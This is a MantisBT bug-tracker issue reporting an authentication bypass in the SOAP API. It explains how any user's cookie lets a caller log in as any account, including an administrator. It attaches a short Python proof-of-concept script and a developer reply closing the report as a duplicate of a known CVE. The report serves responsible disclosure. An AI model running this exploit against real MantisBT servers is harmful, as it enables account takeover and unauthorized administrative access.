Dependency Graph

Dependency Graph
related to related to child of child of duplicate of duplicate of

View Issue Details

IDProjectCategoryView StatusLast Update
0037218mantisbtsecuritypublic2026-11-22 16:13
Reportervoraci0us Assigned Todregad  
PriorityurgentSeveritymajorReproducibilityalways
Status closedResolutionduplicate 
Product Version2.28.3 
Summary0037218: Account Takeover via SOAP API
Description

I've found an issue where any authenticated user can impersonate any other user, including administrator, via the SOAP API.

In api/soap/mc_api.php, mci_check_login() (lines 0000303:0000484-495), the cookie lookup only checks that the cookie is valid for some user. It does not verify that the cookie belongs to $p_username. It then calls auth_attempt_script_login($p_username) with a NULL password, which skips the password check entirely (see core/authentication_api.php line ~712: if( null !== $t_password )).

Steps To Reproduce

PoC script atttached. You need the low-privileged user's cookie and the username of the account you want to take over.

Additional Information

My Github username is @voraci0us

TagsNo tags attached.
Attached Files
mantisbt_account_takeover.py (983 bytes)   
from zeep import Client
from zeep.transports import Transport
from zeep.exceptions import Fault
import requests

MANTIS_URL = "http://WHATEVER/api/soap/mantisconnect.php"
REPORTER_COOKIE = "AUTH TOKEN OF ANY USER"
ADMIN_USERNAME = "USERNAME OF ACCOUNT YOU WANT TO TAKE OVER"

WSDL_URL = f"{MANTIS_URL}?wsdl"

session = requests.Session()
transport = Transport(session=session)
client = Client(wsdl=WSDL_URL, transport=transport)

# Step 1: Confirm admin login with WRONG password fails
try:
    client.service.mc_login(ADMIN_USERNAME, "wrongpassword")
    print("UNEXPECTED: wrong password succeeded")
except Fault as e:
    print(f"EXPECTED failure with wrong password: {e.message}")
except Exception as e:
    print(f"EXPECTED failure with wrong password: {e}")

# Step 2: Use reporter cookie_string as admin password
result = client.service.mc_login(ADMIN_USERNAME, REPORTER_COOKIE)
print(f"Logged in as: {result.account_data.name}")
print(f"Access level: {result.access_level}")

Relationships

duplicate of 0037121 closeddregad CVE-2026-47156: SOAP API Authentication Bypass -> Privilege Escalation to Administrator 

Activities

dregad

dregad

2026-05-31 11:22

developer   ~0071205

Many thanks for your report.

This vulnerability is already known, it was reported to us a couple weeks ago by another researcher (see 0037121, currently private). CVE-2026-47156 has been assigned. A patch is pending review and should be released in the next few days

I'm closing this as duplicate.